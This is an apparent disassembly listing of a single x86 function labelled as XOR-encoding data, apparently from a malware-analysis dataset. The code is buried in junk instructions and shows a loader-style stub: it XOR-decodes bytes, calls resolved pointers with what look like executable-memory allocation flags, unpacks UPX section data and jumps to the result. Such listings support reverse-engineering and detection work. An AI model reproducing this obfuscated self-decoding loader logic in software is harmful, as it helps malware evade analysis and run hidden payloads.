Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x99dd3567
add edi, 0xf6d9d5c
not edx
popal
sub edx, edi
sub edx, edi
sub edx, 1
mov eax, 0
mov edi, ecx
not esi
sub edx, 0x4827845c
mov ebx, edi
or esi, esi
not esi
not edx
mov ecx, ebx
add esi, 0x55b00063
mov edx, 0xd84b1226
inc eax
add edx, edx
mov edx, esi
cmp eax, 0x100508e
jne 0x47afd6
add edx, esi
mov edx, 0xb80946ec
cmp eax, 0x100508e
je 0x47b01c
mov edx, 0
mov dword [edx], ebx
not esi
sub edx, esi
sub esi, 0x325b51e5
sub edx, 0x1acaf872
mov edi, edx
mov edx, 0x47ada2
inc ebx
mov edi, 0x9402a98f
mov esi, 0x47af96
and eax, ebx
dec edi
mov ecx, dword [edx]
dec edi
sub eax, 0x2593a6a1
and ecx, 0xff
mov eax, 0xf8592f15
mov eax, 0x5060ccb7
add eax, 0x142050d9
xor dword [esi], ecx
add eax, 1
add ebx, 0x58ae04ea
add esi, 1
sub ebx, eax
mov eax, 0x88a25caf
inc edx
mov edi, 0x75a3667a
or edi, edi
or edi, eax
cmp esi, entry0
jl 0x47b041
inc edi
or eax, ebx
mov ebx, edi
add eax, ebx
sub edx, 0xc23cc811
or edx, ebx
mov esi, 0x47af9a
add ecx, 0xf050399a
not edx
mov edx, 0xf226db56
mov esi, dword [esi]
sub edi, 1
mov edi, 0x51f4170c
sub ebx, 0x2b242b44
mov esi, dword [esi]
mov edi, 0xd39e5c0b
sub edi, 0xa0ecabb7
push esi
and ecx, edx
and edx, ebx
mov esi, 0x47af96
mov edi, 0xc83bf87
add edi, 0x3ad81471
mov esi, dword [esi]
and edx, edx
add edx, 0x79441935
not ebx
mov esi, dword [esi]
add edi, 0x16d5e606
mov edi, 0xf8d18e31
not ebx
push 0x47af9e
sub edx, 0x96c27193
and ecx, ebx
add ecx, 0x9db857c7
call esi
add edx, 0x62236f2d
not ebx
sub edx, 1
pop esi
add edx, edx
add edx, ecx
sub edx, 0xb6026caf
push 0x47afab
or edx, ecx
mov ecx, ebx
and edi, edx
push eax
add ebx, 0xb7910a42
mov ecx, 0xee77fc8e
and edi, ebx
call esi
sub edi, 0x6dbe43ab
or ebx, edi
sub esp, 4
mov dword [esp], 0x40
add edi, 1
not ecx
push 0x3000
add ebx, 0x2d77f3c
add ebx, edx
not ecx
push 0x2000056f
add edx, 0xdf68ef95
add edx, ebx
push 0
add edi, 0x45e9d4f8
not edx
call eax
mov edi, 0x2fc8d503
and ecx, ebx
mov ebx, 0xf0f56e1b
add eax, 0x200004f8
dec edx
add edi, ecx
add edx, 1
mov esi, 0x66fac3ec
mov edx, edi
sub edx, 0x81576500
mov dword [eax], esi
or ebx, ecx
and edi, ecx
mov esi, dword [eax]
and ecx, edx
add ecx, edx
cmp esi, 0x66fac3ec
je 0x47b1d3
mov eax, 0
mov dl, byte [eax]
mov edx, 0x40923cc
not edi
add ecx, ecx
sub ecx, ebx
dec edi
or edx, edx
sub edi, 0x304a8240
mov ebx, section.UPX1
inc edi
dec edx
and edx, edi
mov esi, 0x47ada1
or edi, edi
mov edi, edx
mov eax, 0
inc edx
not edi
mov ecx, 0x47ada2
add edi, edi
add edi, 1
mov edx, edi
lea ecx, [ecx + eax]
mov edi, edx
and edi, edi
mov ecx, dword [ecx]
sub edi, 0xa48f0ab6
mov edx, 0x72d65e92
and ecx, 0xff
dec edi
mov edx, 0x73425ae9
inc eax
inc edi
and edi, edi
cmp eax, 0x1f4
jne 0x47b241
mov eax, 0
sub edi, 0xe7bd8153
mov edx, edi
or edi, edi
not edi
or edx, edi
not edx
xor dword [ebx], ecx
sub edx, 0xdf66fb42
and edi, edi
or edx, edx
add ebx, 2
not edx
not edi
mov edx, 0x949593ea
cmp ebx, esi
jl 0x47b201
sub edi, edx
add edx, 0xd09aa8f1
mov edx, 0x3159b6
and edi, edx
sub edi, edx
mov esi, section.UPX1
dec edi
mov edi, edx
mov ebx, section.UPX1
and edi, edi
mov edx, edi
mov edi, edx
mov eax, 0x47ada1
sub edx, edi
not edx
mov ecx, 0
add edx, 0x4d3bd726
and edx, edi
mov cl, byte [ebx]
dec edi
mov edx, 0x5c4b5163
add edi, edi
mov byte [esi], cl
dec edx
and edi, edi
inc esi
mov edx, 0x83a23219
sub edx, 1
add ebx, 2
or edi, edx
dec edx
add edi, 0x9141d17d
cmp ebx, eax
jle 0x47b2ae
add edx, 0x7f2b61e
not edx
and edx, edi
not edx
not edx
mov edi, edx
sub esp, 4
mov dword [esp], 0x45e6a0
dec edi
sub edi, 0x4fe47e5c
ret